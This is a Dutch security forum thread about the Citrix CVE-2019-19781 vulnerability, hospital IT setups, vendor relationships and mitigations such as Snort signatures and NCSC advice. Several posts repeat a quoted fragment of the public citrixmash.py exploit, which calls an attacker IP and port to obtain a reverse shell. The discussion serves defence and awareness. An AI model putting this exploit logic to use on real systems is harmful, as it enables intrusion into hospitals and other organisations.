Is dit niet een eigenschap van alle software? Niemand zal je 100% garantie geven op hun software.Vermoedelijk is bij de huidige slachtoffers (inclusief zij die nog niet weten dat zij dat wel zijn) sprake van onvoorziene omstandigheden. Tegen het bestaan daarvan (die "onvoorziene" kwetsbaarheden dus), maak ik bezwaar. Want kwetsbaarheden in software (en ook hardware, maar dat is nog niet zo lang zo) zijn al vele jaren een feit.
Door Tintin and Milou: Maar bepaalde componenten zijn nu eenmaal niet te vervangen, of het maakt juist de oplossing nog complexer, waarmee een outage kan voorkomen.
Dat bepaalde componenten "onvervangbaar" zouden zijn omdat ze niet te koop worden aangeboden, is een kul argument. Als data een bepaald beveiligingsniveau vereist, is het geen excuus om dat niveau maar te verlagen omdat iets niet te koop is. Je hebt dan twee keuzes: niet met zulke gevoelige data werken of iets laten bouwen dat wel voldoet.En ja, de complexiteit neemt toe. Maar ook dat mag geen argument zijn om beveiliging te verlagen. Bestaat er een goedkope en simpele oplossing? Waarschijnlijk niet, maar uitsluiten doe ik dat ook niet.
Door Tintin and Milou: Als je Oracle database een exploit bevat, heb je hier ook niet zomaar even een alternatief voor. En zo zijn er nog hele mogelijkheden te bedenken.
Opnieuw, doe je risicoanalise. Zo helpt het enorm om jouw database niet direct vanaf internet en zelfs niet vanuit elk LAN toegankelijk te maken. Als uit die risicoanalyse volgt dat je het beste een schaduwsysteem met Postgres kunt draaien, so be it.Door Tintin and Milou: Ik vindt het een leuke theoretisch oplossing, maar kan alleen maar meer problemen of stabiliteit issues geven. Iets waar je heel goed over na moet denken, voordat je aan dit soort oplossingen begint.
Als CIA-kritische gegevens in het spel zijn, hoor je sowieso heel goed na te denken voordat je aan welke oplossing dan ook begint. En je hoort je daarbij, onbevooroordeeld, zeer serieus af te vragen of daarvoor voldoende kennis in huis is (als je denkt die kennis zelf te hebben, laat dat dan vastellen door een ander, aantoonbaar deskundige op het betreffende gebied). En laat je ontwerp door minstens één objectieve partij controleren op fouten en vooral over het hoofd geziene aspecten. En laat daarna je systeem, inclusief procedures, regelmatig auditten door specialisten (niet alleen lijstjesafvinkers).(CIA = Confidentiality, Integrity, Availability)
Door Tintin and Milou: Volgens mij is Citrix geen leverancier van Epic. Tenminste ik kan er niets over vinden.
Los van hoe het precies zit bij specifieke slachtoffers en mogelijke leveranciers: een aspect dat ik nog niet genoemd heb, is het extra risico als ziekenhuizen, gemeentes en andere organisaties (delen van) hun ICT infrastructuur uitbesteden en in SLA's (mogelijk keiharde) afspraken hebben gemaakt over de beschikbaarheid van systemen, maar niet over de integriteit van die systemen. De gevolgen liggen dan voor de hand.Door Anoniem: En verder moet IT personeel meer op hun strepen staan en nee durven zeggen. Je bent er niet om het management te paaien, maar om het netwerk werkend en veilig te houden en alleen jij en je collega's hebben die kennis, een management kan zoveel willen maar zijn niet kundig.
DAT is pas een risico: -terecht-haarloze-tanden-hebbend- IT personeel (want zij zijn niet ingehuurd om sterke onderhandelaars te zijn), in notabene een knecht-baas-relatie, dat -niet-ICT-onderlegd-en-security-nitwit- management ervan moet overtuigen dat maatregelen, met grote impact op productie, noodzakelijk zouden zijn omdat er anders "misschien iets fout gaat".
Aanvulling: en stel, management geeft je één keer het voordeel van de twijfel - en er gebeurt niks. De IT-er kijkt vast uit naar het eerstvolgende functioneringsgesprek. Bij elke volgende kwetsbaarheid treedt dan ongetwijfeld het "KNMI gaf onterecht code rood" syndroom in werking.
Dit soort risico's moet je vooraf voorzien en je hoort daarbij in procedures vast te leggen wat er dan moet gebeuren. In een tijd van crisis moet je niet hoeven en willen onderhandelen, en al helemaal niet tussen mensen met verschillende vaardigheden, momentane belangen en vooral machtsposities.
Even wachten dus tot komende maandag, wanneer de zaak hopelijk van pleisters wordt voorzien.
Tot die tijd komen er nog heel wat Sh*ttrix probes in de zin van de onderstaande (slechts gedeeltelijk) bij
Info bron Github cirixmash.py
Wordt nog een leuk weekeinde...
J.O.
Tot die tijd komen er nog heel wat Sh*ttrix probes in de zin van de onderstaande (slechts gedeeltelijk) bij
#######
try:
# trigger our first reuqest - POST to create our malicious XML through the traversal/perl file attack
stage1(filename, randomuser, nonce, args.target, args.targetport, args.attackerip, args.attackerport)
print("[*] Sleeping for 2 seconds to ensure file is written before we call it...")
time.sleep(2)
print("[*] Triggering GET request for the newly created file with a listener waiting...")
print("[*] Shell should now be in your listener... enjoy. Keep this window open..")
print("[!] Be sure to cleanup the two locations here (artifacts): /var/tmp/netscaler/portal/templates/, /netscaler/portal/templates/")
# trigger our second request - get to execute payload
stage2(filename, randomuser, nonce, args.target, args.targetport)
######### etc.
target = Cirix hostname oftewel IP, targetpoort normaal 443, aanvaller ip = hostname adres etc.try:
# trigger our first reuqest - POST to create our malicious XML through the traversal/perl file attack
stage1(filename, randomuser, nonce, args.target, args.targetport, args.attackerip, args.attackerport)
print("[*] Sleeping for 2 seconds to ensure file is written before we call it...")
time.sleep(2)
print("[*] Triggering GET request for the newly created file with a listener waiting...")
print("[*] Shell should now be in your listener... enjoy. Keep this window open..")
print("[!] Be sure to cleanup the two locations here (artifacts): /var/tmp/netscaler/portal/templates/, /netscaler/portal/templates/")
# trigger our second request - get to execute payload
stage2(filename, randomuser, nonce, args.target, args.targetport)
######### etc.
Info bron Github cirixmash.py
Wordt nog een leuk weekeinde...
J.O.
Door Erik van Straten:
DAT is pas een risico: -terecht-haarloze-tanden-hebbend- IT personeel (want zij zijn niet ingehuurd om sterke onderhandelaars te zijn), in notabene een knecht-baas-relatie, dat -niet-ICT-onderlegd-en-security-nitwit- management ervan moet overtuigen dat maatregelen, met grote impact op productie, noodzakelijk zouden zijn omdat er anders "misschien iets fout gaat".
Aanvulling: en stel, management geeft je één keer het voordeel van de twijfel - en er gebeurt niks. De IT-er kijkt vast uit naar het eerstvolgende functioneringsgesprek. Bij elke volgende kwetsbaarheid treedt dan ongetwijfeld het "KNMI gaf onterecht code rood" syndroom in werking.
Dit soort risico's moet je vooraf voorzien en je hoort daarbij in procedures vast te leggen wat er dan moet gebeuren. In een tijd van crisis moet je niet hoeven en willen onderhandelen, en al helemaal niet tussen mensen met verschillende vaardigheden, momentane belangen en vooral machtsposities.
Helemaal goed gezien. IT en security dienen de organisatie, en niet andersom. En IT en security hebben niet het totaalplaatje om voor de organisatie dit soort ingrijpende beslissingen te maken. Je kunt iets nadrukkelijk onder de aandacht brengen en oplossingen aandragen, maar die beslissing ligt bij het management en niet bij de één of andere sysadmin.Door Anoniem: En verder moet IT personeel meer op hun strepen staan en nee durven zeggen. Je bent er niet om het management te paaien, maar om het netwerk werkend en veilig te houden en alleen jij en je collega's hebben die kennis, een management kan zoveel willen maar zijn niet kundig.
DAT is pas een risico: -terecht-haarloze-tanden-hebbend- IT personeel (want zij zijn niet ingehuurd om sterke onderhandelaars te zijn), in notabene een knecht-baas-relatie, dat -niet-ICT-onderlegd-en-security-nitwit- management ervan moet overtuigen dat maatregelen, met grote impact op productie, noodzakelijk zouden zijn omdat er anders "misschien iets fout gaat".
Aanvulling: en stel, management geeft je één keer het voordeel van de twijfel - en er gebeurt niks. De IT-er kijkt vast uit naar het eerstvolgende functioneringsgesprek. Bij elke volgende kwetsbaarheid treedt dan ongetwijfeld het "KNMI gaf onterecht code rood" syndroom in werking.
Dit soort risico's moet je vooraf voorzien en je hoort daarbij in procedures vast te leggen wat er dan moet gebeuren. In een tijd van crisis moet je niet hoeven en willen onderhandelen, en al helemaal niet tussen mensen met verschillende vaardigheden, momentane belangen en vooral machtsposities.
Maar er gaat wel heel wat mis door toedoen van beslissingen van CEO's en management, die, gespeend van basale technische kennis vaak, zich laten imponeren door gladde "dozenschuiver"-praatjes. Het profijt-maximalisatie beginsel en bezuinigen op zaken, die men als "last resort issues" ziet, geeft vaak de doorslag & heeft al heel wat ellende teweeggebracht.
Daarna als via de spreekwoordelijke klap op de vuurpijl (verboden later in 2020/2021) de mest de ventilator begint te raken, de risico's af willen wentelen op "het gemeen". Dat alles kan nog steeds veel te gemakkelijk. Laat die 'gasten', die het altijd beter wensen te weten voor henzelf en hun "stakeholders', maar eens lekkertjes op de blaren zitten, wanneer door hun verkeerde beslissingen hun k*ntjes beginnen te branden.
Geen meelij mee, absoluut niet. Als wij beveiligen, moeten wij ook opletten, anders worden we er op afgerekend en niet zo'n klein beetje ook. En met het oog op alle afgelopen ransomware en emotet ellende, heeft men al wat mitigatie besluiten genomen?
MKB kan het in de dagen van sh*ttrix doen met een, lach niet, Huawei sub-certificaatje. Hoe verzinnen ze het. Nog eens arrogant er een keertje over en langs heen gaan met zoiets. Of ze de "onderkaste" iets in willen peperen.. Bah. Nu nog eens vragen waarom we met zo'n pn*wed infrastructuur blijven zitten? Mij is het al wel duidelijk genoeg.
Jodocus Oyevaer
Daarna als via de spreekwoordelijke klap op de vuurpijl (verboden later in 2020/2021) de mest de ventilator begint te raken, de risico's af willen wentelen op "het gemeen". Dat alles kan nog steeds veel te gemakkelijk. Laat die 'gasten', die het altijd beter wensen te weten voor henzelf en hun "stakeholders', maar eens lekkertjes op de blaren zitten, wanneer door hun verkeerde beslissingen hun k*ntjes beginnen te branden.
Geen meelij mee, absoluut niet. Als wij beveiligen, moeten wij ook opletten, anders worden we er op afgerekend en niet zo'n klein beetje ook. En met het oog op alle afgelopen ransomware en emotet ellende, heeft men al wat mitigatie besluiten genomen?
MKB kan het in de dagen van sh*ttrix doen met een, lach niet, Huawei sub-certificaatje. Hoe verzinnen ze het. Nog eens arrogant er een keertje over en langs heen gaan met zoiets. Of ze de "onderkaste" iets in willen peperen.. Bah. Nu nog eens vragen waarom we met zo'n pn*wed infrastructuur blijven zitten? Mij is het al wel duidelijk genoeg.
Jodocus Oyevaer
Door Tintin and Milou: ….
Volgens mij is Citrix geen leverancier van Epic. Tenminste ik kan er niets over vinden. Citrix wordt wel veel gebruikt om Epic te ontsluiten naar gebruikers. Maar dat is heel iets anders dan dat Citrix een leverancier is van Epic. Ze zullen waarschijnlijk wel een partnership of strategische partner zijn, al dan niet met certificeringen.
Epic zal ook via een reverse proxy / loadbalancer vanuit de netscaler aangeboden zijn richting het Internet. En aangezien dit meestal op de zelfde instance draait, is de enige oplossing om deze instance uit te zetten indien deze Netscaler instance compromised is.
Het is de vraag hoe het neergezet wordt en onder welke condities. Het wordt niet door een ziekenhuis zelf gedaan. Daarvoor vindt inhuur via een project plaats. Dan komt er nog partij bij, bijvoorbeeld: url]https://www.computable.nl/artikel/achtergrond/magazine/5251650/5215853/amc-en-vumc-draaien-epd-buiten-de-deur.html[/url] Volgens mij is Citrix geen leverancier van Epic. Tenminste ik kan er niets over vinden. Citrix wordt wel veel gebruikt om Epic te ontsluiten naar gebruikers. Maar dat is heel iets anders dan dat Citrix een leverancier is van Epic. Ze zullen waarschijnlijk wel een partnership of strategische partner zijn, al dan niet met certificeringen.
Epic zal ook via een reverse proxy / loadbalancer vanuit de netscaler aangeboden zijn richting het Internet. En aangezien dit meestal op de zelfde instance draait, is de enige oplossing om deze instance uit te zetten indien deze Netscaler instance compromised is.
Wat je verder vindt is bijvoorbeeld: https://www.citrix.com/blogs/2019/06/10/see-how-better-becomes-possible-with-citrix-and-cisco/ some wat in een werkervaring zoas https://www.jasonsamuel.com/2019/02/11/a-closer-look-at-citrix-workspace-and-gateway-service-in-citrix-cloud-for-companies-moving-off-of-on-premises-storefront-and-netscaler-gateway/ "In 2018 things, progressed very quickly and Epic has authorized the use of a Citrix Cloud Virtual Apps and Desktop Service based control plane so hospital systems started coming to me in droves asking how to simplify their environments."
Ik ben er wat gevoelig voor met wat persoonlijke ervaringen. Je vangt signalen onterecht of terecht sneller op.
Door Anoniem: Even wachten dus tot komende maandag, wanneer de zaak hopelijk van pleisters wordt voorzien.
Tot die tijd komen er nog heel wat Sh*ttrix probes in de zin van de onderstaande (slechts gedeeltelijk) bij
Info bron Github cirixmash.py
Wordt nog een leuk weekeinde...
J.O.
Tot die tijd komen er nog heel wat Sh*ttrix probes in de zin van de onderstaande (slechts gedeeltelijk) bij
#######
try:
# trigger our first reuqest - POST to create our malicious XML through the traversal/perl file attack
stage1(filename, randomuser, nonce, args.target, args.targetport, args.attackerip, args.attackerport)
print("[*] Sleeping for 2 seconds to ensure file is written before we call it...")
time.sleep(2)
print("[*] Triggering GET request for the newly created file with a listener waiting...")
print("[*] Shell should now be in your listener... enjoy. Keep this window open..")
print("[!] Be sure to cleanup the two locations here (artifacts): /var/tmp/netscaler/portal/templates/, /netscaler/portal/templates/")
# trigger our second request - get to execute payload
stage2(filename, randomuser, nonce, args.target, args.targetport)
######### etc.
target = Cirix hostname oftewel IP, targetpoort normaal 443, aanvaller ip = hostname adres etc.try:
# trigger our first reuqest - POST to create our malicious XML through the traversal/perl file attack
stage1(filename, randomuser, nonce, args.target, args.targetport, args.attackerip, args.attackerport)
print("[*] Sleeping for 2 seconds to ensure file is written before we call it...")
time.sleep(2)
print("[*] Triggering GET request for the newly created file with a listener waiting...")
print("[*] Shell should now be in your listener... enjoy. Keep this window open..")
print("[!] Be sure to cleanup the two locations here (artifacts): /var/tmp/netscaler/portal/templates/, /netscaler/portal/templates/")
# trigger our second request - get to execute payload
stage2(filename, randomuser, nonce, args.target, args.targetport)
######### etc.
Info bron Github cirixmash.py
Wordt nog een leuk weekeinde...
J.O.
Je bedoelt deze?
https://github.com/trustedsec/cve-2019-19781
citrixmash.py
Licht mij even bij: als je deze code ziet, word je toch op dat moment actief aangevallen, en is de aanvaller al in je systeem? Heb je de aanbevolen Citrix Mitigation code wel toegepast (en welke versie Citrix gebruik je), en is dit dus een voorbeeld dat deze niet afdoende werkt ?
Waar zit de malware exact, en hoe verwijder jij die?
Goede post (maar ik begrijp niet dat je rustig naar deze code-probe kan kijken). Licht mij bij ...
17-01-2020, 17:24 door
karma4
Door Tintin and Milou:[/i] …. Volgens mij is Citrix geen leverancier van Epic. Tenminste ik kan er niets over vinden. ...[/quote]Een wat sterker signaal:
https://www.citrix.com/blogs/2017/12/21/xenapp-7-15-ltsr-now-target-platform-for-epic-hyperspace/
"Citrix and Epic still recommend a multi-site architecture for failure domain reasons, even though a single site may be technically feasible. At the end of the day, your EMR solution is by far the most important application in your organization, and ensuring uptime is likely your most important job as an IT professional."
https://www.citrix.com/blogs/2017/12/21/xenapp-7-15-ltsr-now-target-platform-for-epic-hyperspace/
"Citrix and Epic still recommend a multi-site architecture for failure domain reasons, even though a single site may be technically feasible. At the end of the day, your EMR solution is by far the most important application in your organization, and ensuring uptime is likely your most important job as an IT professional."
17-01-2020, 17:39 door
Tintin and Milou
Door karma4:
Wat je verder vindt is bijvoorbeeld: https://www.citrix.com/blogs/2019/06/10/see-how-better-becomes-possible-with-citrix-and-cisco/ some wat in een werkervaring zoas https://www.jasonsamuel.com/2019/02/11/a-closer-look-at-citrix-workspace-and-gateway-service-in-citrix-cloud-for-companies-moving-off-of-on-premises-storefront-and-netscaler-gateway/ "In 2018 things, progressed very quickly and Epic has authorized the use of a Citrix Cloud Virtual Apps and Desktop Service based control plane so hospital systems started coming to me in droves asking how to simplify their environments."
Ik ben er wat gevoelig voor met wat persoonlijke ervaringen. Je vangt signalen onterecht of terecht sneller op.
Dan is het nog steeds een partnership tussen Cisco, Citrix en de (epic) leverancier. Door Tintin and Milou: ….
Volgens mij is Citrix geen leverancier van Epic. Tenminste ik kan er niets over vinden. Citrix wordt wel veel gebruikt om Epic te ontsluiten naar gebruikers. Maar dat is heel iets anders dan dat Citrix een leverancier is van Epic. Ze zullen waarschijnlijk wel een partnership of strategische partner zijn, al dan niet met certificeringen.
Epic zal ook via een reverse proxy / loadbalancer vanuit de netscaler aangeboden zijn richting het Internet. En aangezien dit meestal op de zelfde instance draait, is de enige oplossing om deze instance uit te zetten indien deze Netscaler instance compromised is.
Het is de vraag hoe het neergezet wordt en onder welke condities. Het wordt niet door een ziekenhuis zelf gedaan. Daarvoor vindt inhuur via een project plaats. Dan komt er nog partij bij, bijvoorbeeld: https://www.computable.nl/artikel/achtergrond/magazine/5251650/5215853/amc-en-vumc-draaien-epd-buiten-de-deur.html Volgens mij is Citrix geen leverancier van Epic. Tenminste ik kan er niets over vinden. Citrix wordt wel veel gebruikt om Epic te ontsluiten naar gebruikers. Maar dat is heel iets anders dan dat Citrix een leverancier is van Epic. Ze zullen waarschijnlijk wel een partnership of strategische partner zijn, al dan niet met certificeringen.
Epic zal ook via een reverse proxy / loadbalancer vanuit de netscaler aangeboden zijn richting het Internet. En aangezien dit meestal op de zelfde instance draait, is de enige oplossing om deze instance uit te zetten indien deze Netscaler instance compromised is.
Wat je verder vindt is bijvoorbeeld: https://www.citrix.com/blogs/2019/06/10/see-how-better-becomes-possible-with-citrix-and-cisco/ some wat in een werkervaring zoas https://www.jasonsamuel.com/2019/02/11/a-closer-look-at-citrix-workspace-and-gateway-service-in-citrix-cloud-for-companies-moving-off-of-on-premises-storefront-and-netscaler-gateway/ "In 2018 things, progressed very quickly and Epic has authorized the use of a Citrix Cloud Virtual Apps and Desktop Service based control plane so hospital systems started coming to me in droves asking how to simplify their environments."
Ik ben er wat gevoelig voor met wat persoonlijke ervaringen. Je vangt signalen onterecht of terecht sneller op.
Maar Citrix is nog steeds niet de leverancier die het levert.
We zetten hier bijvoorbeeld ook met HP en Citrix omgevingen neer. HP Moonshot is zo'n voorbeeld van een partnership.
17-01-2020, 17:51 door
karma4
Door Tintin and Milou:
Dan is het nog steeds een partnership tussen Cisco, Citrix en de (epic) leverancier.
Maar Citrix is nog steeds niet de leverancier die het levert.
We zetten hier bijvoorbeeld ook met HP en Citrix omgevingen neer. HP Moonshot is zo'n voorbeeld van een partnership.
Lijkt op hetgeen wat ik bedoel. In dit geval bepaalde hardware en een bepaalde groep gebruikers en apps in de citrix store. https://h22168.www2.hpe.com/docs/citrix/Citrix_WorkspacePod_Powered_by_HP_Moonshot_Technical_Overview_Rev_1_0_Final.pdfDan is het nog steeds een partnership tussen Cisco, Citrix en de (epic) leverancier.
Maar Citrix is nog steeds niet de leverancier die het levert.
We zetten hier bijvoorbeeld ook met HP en Citrix omgevingen neer. HP Moonshot is zo'n voorbeeld van een partnership.
Beste bijzonder op een security forum alle aannames over hoe ICT in een ziekenhuis is opgebouwd. Even wat feiten:
- in ziekenhuizen zijn de twee grootste leveranciers van de software Chipsoft en Citrix
- beiden hebben an sich niets met citrix te maken maar ziekenhuizen zoeken naar een manier om deze windows applicaties ook remote aan te bieden. Let even op dat vele polikliniek voorbereidingen bijvoorbeeld thuis worden gedaan buiten werktijd omdat hier simpelweg overdag geen tijd voor is. Voor het remote aanbieden wordt onder andere citrix gebruikt, of VMWare view, etc etc.
Hoe citrix vervolgens is opgebouwd is vervolgens in alle situatie anders. Soms met (kwetsbare) ADC, soms niet. Soms met een extra reverse proxy achtige constructie, vaak met MFA, soms niet, soms met een dubbele firewall (multivendor) ertussen soms niet.
Wat we vandaag hebben zien gebeuren is dat bestuurlijk preventief besluiten zijn genomen om externe connecties dicht te gooien onder het mom "baat-het-niet....". Veelal zondeer direct technische onderbouwing maar gewoon vanuit een meer bestuurlijk risicoperspectief en onder peer pressure.
- in ziekenhuizen zijn de twee grootste leveranciers van de software Chipsoft en Citrix
- beiden hebben an sich niets met citrix te maken maar ziekenhuizen zoeken naar een manier om deze windows applicaties ook remote aan te bieden. Let even op dat vele polikliniek voorbereidingen bijvoorbeeld thuis worden gedaan buiten werktijd omdat hier simpelweg overdag geen tijd voor is. Voor het remote aanbieden wordt onder andere citrix gebruikt, of VMWare view, etc etc.
Hoe citrix vervolgens is opgebouwd is vervolgens in alle situatie anders. Soms met (kwetsbare) ADC, soms niet. Soms met een extra reverse proxy achtige constructie, vaak met MFA, soms niet, soms met een dubbele firewall (multivendor) ertussen soms niet.
Wat we vandaag hebben zien gebeuren is dat bestuurlijk preventief besluiten zijn genomen om externe connecties dicht te gooien onder het mom "baat-het-niet....". Veelal zondeer direct technische onderbouwing maar gewoon vanuit een meer bestuurlijk risicoperspectief en onder peer pressure.
@anoniem van 16:17
"Bijlichten?" Waar richt ik dan mijn kleine lantaarntje op?
Denk vervolgens Snort en CITRIX bedreigingen". Goed om hier notie van te nemen.
Goede achtergrond informatie en hoe je logs na kunt lopen vind je hier:
https://www.trustedsec.com/blog/netscaler-honeypot/
Goed om snort te draaien, ook onder een windows command promptje beschikbaar voor iedereen.
De eerste snort rules waren reeds vanaf 15 januari j.l. beschikbaar.
Andere oplossingen zijn er ook, zoals deze: https://www.cisco.com/c/en/us/products/security/firepower-management-center/index.html en een Netscaler Honeypot, maar dan zit je weer in het rijk van de dozenschuivers.
Ik geloof meer in de eigen oplossingen via snort en SNYK e.d.
Security and mitigation is a bitch, you guys.
luntrus
"Bijlichten?" Waar richt ik dan mijn kleine lantaarntje op?
Denk vervolgens Snort en CITRIX bedreigingen". Goed om hier notie van te nemen.
Goede achtergrond informatie en hoe je logs na kunt lopen vind je hier:
https://www.trustedsec.com/blog/netscaler-honeypot/
TALOS COVERAGE FOR CVE-2019-19781
Talos has developed and released coverage for this vulnerability in the form of Snort and Firepower signatures.
These signatures have been available since Dec. 24, 2019 and can be leveraged by organizations to protect their affected systems from possible exploitation attempts until an official patch is publicly released.
Snort SIDs: 52512, 52513, 52603 Zie bijvoorbeeld-> https://seclists.org/snort/2020/q1/35
Talos has developed and released coverage for this vulnerability in the form of Snort and Firepower signatures.
These signatures have been available since Dec. 24, 2019 and can be leveraged by organizations to protect their affected systems from possible exploitation attempts until an official patch is publicly released.
Snort SIDs: 52512, 52513, 52603 Zie bijvoorbeeld-> https://seclists.org/snort/2020/q1/35
Goed om snort te draaien, ook onder een windows command promptje beschikbaar voor iedereen.
De eerste snort rules waren reeds vanaf 15 januari j.l. beschikbaar.
Andere oplossingen zijn er ook, zoals deze: https://www.cisco.com/c/en/us/products/security/firepower-management-center/index.html en een Netscaler Honeypot, maar dan zit je weer in het rijk van de dozenschuivers.
Ik geloof meer in de eigen oplossingen via snort en SNYK e.d.
Security and mitigation is a bitch, you guys.
luntrus
17-01-2020, 20:55 door
karma4
Door Anoniem: Beste bijzonder op een security forum alle aannames over hoe ICT in een ziekenhuis is opgebouwd. Even wat feiten:
- in ziekenhuizen zijn de twee grootste leveranciers van de software Chipsoft en Citrix
- beiden hebben an sich niets met citrix te maken maar ziekenhuizen zoeken naar een manier om deze windows applicaties ook remote aan te bieden. Let even op dat vele polikliniek voorbereidingen bijvoorbeeld thuis worden gedaan buiten werktijd omdat hier simpelweg overdag geen tijd voor is. Voor het remote aanbieden wordt onder andere citrix gebruikt, of VMWare view, etc etc.
Hoe citrix vervolgens is opgebouwd is vervolgens in alle situatie anders. Soms .....
Jouw aanname is dat de ict mensen zelf de installaties ontwerpen en bouwen. Dat met alle eigen eisen.- in ziekenhuizen zijn de twee grootste leveranciers van de software Chipsoft en Citrix
- beiden hebben an sich niets met citrix te maken maar ziekenhuizen zoeken naar een manier om deze windows applicaties ook remote aan te bieden. Let even op dat vele polikliniek voorbereidingen bijvoorbeeld thuis worden gedaan buiten werktijd omdat hier simpelweg overdag geen tijd voor is. Voor het remote aanbieden wordt onder andere citrix gebruikt, of VMWare view, etc etc.
Hoe citrix vervolgens is opgebouwd is vervolgens in alle situatie anders. Soms .....
Die Aanname is onterecht. Zie de links.
Door Anoniem: Beste bijzonder op een security forum alle aannames over hoe ICT in een ziekenhuis is opgebouwd. Even wat feiten:
- in ziekenhuizen zijn de twee grootste leveranciers van de software Chipsoft en Citrix
- beiden hebben an sich niets met citrix te maken maar ziekenhuizen zoeken naar een manier om deze windows applicaties ook remote aan te bieden. Let even op dat vele polikliniek voorbereidingen bijvoorbeeld thuis worden gedaan buiten werktijd omdat hier simpelweg overdag geen tijd voor is. Voor het remote aanbieden wordt onder andere citrix gebruikt, of VMWare view, etc etc.
Hoe citrix vervolgens is opgebouwd is vervolgens in alle situatie anders. Soms met (kwetsbare) ADC, soms niet. Soms met een extra reverse proxy achtige constructie, vaak met MFA, soms niet, soms met een dubbele firewall (multivendor) ertussen soms niet.
Wat we vandaag hebben zien gebeuren is dat bestuurlijk preventief besluiten zijn genomen om externe connecties dicht te gooien onder het mom "baat-het-niet....". Veelal zondeer direct technische onderbouwing maar gewoon vanuit een meer bestuurlijk risicoperspectief en onder peer pressure.
Een prima en geloofwaardige reactie, waarvoor dank!- in ziekenhuizen zijn de twee grootste leveranciers van de software Chipsoft en Citrix
- beiden hebben an sich niets met citrix te maken maar ziekenhuizen zoeken naar een manier om deze windows applicaties ook remote aan te bieden. Let even op dat vele polikliniek voorbereidingen bijvoorbeeld thuis worden gedaan buiten werktijd omdat hier simpelweg overdag geen tijd voor is. Voor het remote aanbieden wordt onder andere citrix gebruikt, of VMWare view, etc etc.
Hoe citrix vervolgens is opgebouwd is vervolgens in alle situatie anders. Soms met (kwetsbare) ADC, soms niet. Soms met een extra reverse proxy achtige constructie, vaak met MFA, soms niet, soms met een dubbele firewall (multivendor) ertussen soms niet.
Wat we vandaag hebben zien gebeuren is dat bestuurlijk preventief besluiten zijn genomen om externe connecties dicht te gooien onder het mom "baat-het-niet....". Veelal zondeer direct technische onderbouwing maar gewoon vanuit een meer bestuurlijk risicoperspectief en onder peer pressure.
Ongetwijfeld zullen er organisaties zijn die hun zaken, ondanks dat ze "ergens" Citrix gebruiken, wel goed voor elkaar hebben. En het is sneu als zij zich, onder "peer pressure", gedwongen voelen om hun systemen nu ook maar uit te zetten.
Echter, als burger, en (persoonlijk gelukkig zelden) patiënt, zou ik dan wel eens willen weten hoe groot het percentage van internet-facing-citrix-systeem-gebruikende-organisaties werkelijk niet kwetsbaar is - naast de percentages van organisaties die onjuist geïnformeerd aannemen, gokken of ordinair liegen dat ze niet kwetsbaar zijn of waren.
Maar of die feiten ooit boven tafel komen, betwijfel ik. Mezelf dat realiserende, zou ik wel eens willen weten hoe erg het is als nu enkele vermoedelijk veilige systemen worden uitgezet - tot de rook is opgetrokken. Ik twijfel er namelijk geen seconde aan dat veel meer van dit soort systemen onveilig zijn dan men ons, burgers en patiënten, wil laten geloven. Want dat is tot nu toe altijd het geval geweest, terwijl ik geen enkele aanleiding heb om aan te nemen dat het deze keer anders zou zijn.
Sla als branche maar eens de handen ineen om gezamenlijk tot de beste oplossing(en) te komen, in plaats van te jammeren over de consequenties van (veel te) veel disfunctionerende concullega's. Het zijn namelijk onze gegevens waar jullie mee gokken. Heb het er, bij twijfel, maar voor over om een enkele keer voor niets naar kantoor te rijden; toen onze gegevens nog in archiefkasten zaten, moest dat altijd.
Aanvulling: daar komt bij dat Citrix producten, met name internet facing, bij velen nu onder de microscoop worden gelegd. Gezien de geschiedenis van producten van andere fabrikanten zou het mij persoonlijk verbazen als er op korte termijn geen andere kwetsbaarheden worden ontdekt. Voorzichtigheid lijkt mij op z'n plaats.
Jouw aanname is dat de ict mensen zelf de installaties ontwerpen en bouwen. Dat met alle eigen eisen.
Die Aanname is onterecht. Zie de links.
Nee mijn aanname is niet onterecht. Het is zo dat enkele ziekenhuizen delen van hun EPD laten bouwen en soms layen beheren zoals door ICTZ, het merendeel bouwt en beheert deze infra echt zelf. Hoe ik dat weet, beroepsmatig kom ik bij een groot van de ict afdelingen van ziekenhuizen.
17-01-2020, 23:41 door
Erik van Straten
Uit https://www.ncsc.nl/actueel/nieuws/2020/januari/16/door-citrix-geadviseerde-mitigerende-maatregelen-niet-altijd-effectief:
UPDATE: Schakel Citrix-systemen uit waar dat kan of tref aanvullende maatregelen
Nieuwsbericht | 17-01-2020 | 23:09
[...]
Nieuwsbericht | 17-01-2020 | 23:09
[...]
@ Erik van Straten,
Deze Citrix-Sh*trix ellende is natuurlijk wel weer een opsteker voor CloudFlare diensten,
als in dit geval CloudFlare Access, die de connecties wel weet te beschermen.
Later krijgen we dan weer een soort "outsourced" laag over laag beveiliging. (in dit geval bewaakte connectie).
Tot we totaal afhankelijk zijn gemaakt. We hebben dan zelfs de evaluatie methodieken niet meer zelf binnenshuis.
M.i. blijft loggen via snort rules toch wel belangrijk om tenminste inzicht te houden wat betreft hoe en waar we hadden kunnen zijn gecompromitteerd.
Wat vind jij hiervan, Erik?
luntrus
Deze Citrix-Sh*trix ellende is natuurlijk wel weer een opsteker voor CloudFlare diensten,
als in dit geval CloudFlare Access, die de connecties wel weet te beschermen.
Helping mitigate the Citrix NetScaler CVE with Cloudflare Access.
Cloudflare Access can help teams build a defense-in-depth mitigation to the Citrix NetScaler CVE for HTTP and SSH requests.
Quote genoemd artikel is van de hand van Sam Rhea verschenen op The Cloudflare Blog.Cloudflare Access can help teams build a defense-in-depth mitigation to the Citrix NetScaler CVE for HTTP and SSH requests.
Later krijgen we dan weer een soort "outsourced" laag over laag beveiliging. (in dit geval bewaakte connectie).
Tot we totaal afhankelijk zijn gemaakt. We hebben dan zelfs de evaluatie methodieken niet meer zelf binnenshuis.
M.i. blijft loggen via snort rules toch wel belangrijk om tenminste inzicht te houden wat betreft hoe en waar we hadden kunnen zijn gecompromitteerd.
Wat vind jij hiervan, Erik?
luntrus
Door Erik van Straten:
Ja duh. Niet kwetsbaar zoals ik schreef in mijn bovenste bijdrage:
Door The FOSS:
Als je een werkelijk niet kwetsbaar schaduwsysteem kan maken dan zou dat (ook) het hoofdsysteem moeten zijn. Als het alleen maar niet kwetsbaar is omdat het niet aan internet hing dan zal het zodra het wordt aangesloten ook ten prooi vallen aan dezelfde kwetsbaarheid die het hoofdsysteem om zeep hielp.
Door Erik van Straten: Een -ongetwijfeld prijzige- oplossing hiervoor is het achter de hand hebben van een niet kwetsbaar schaduwsysteem.
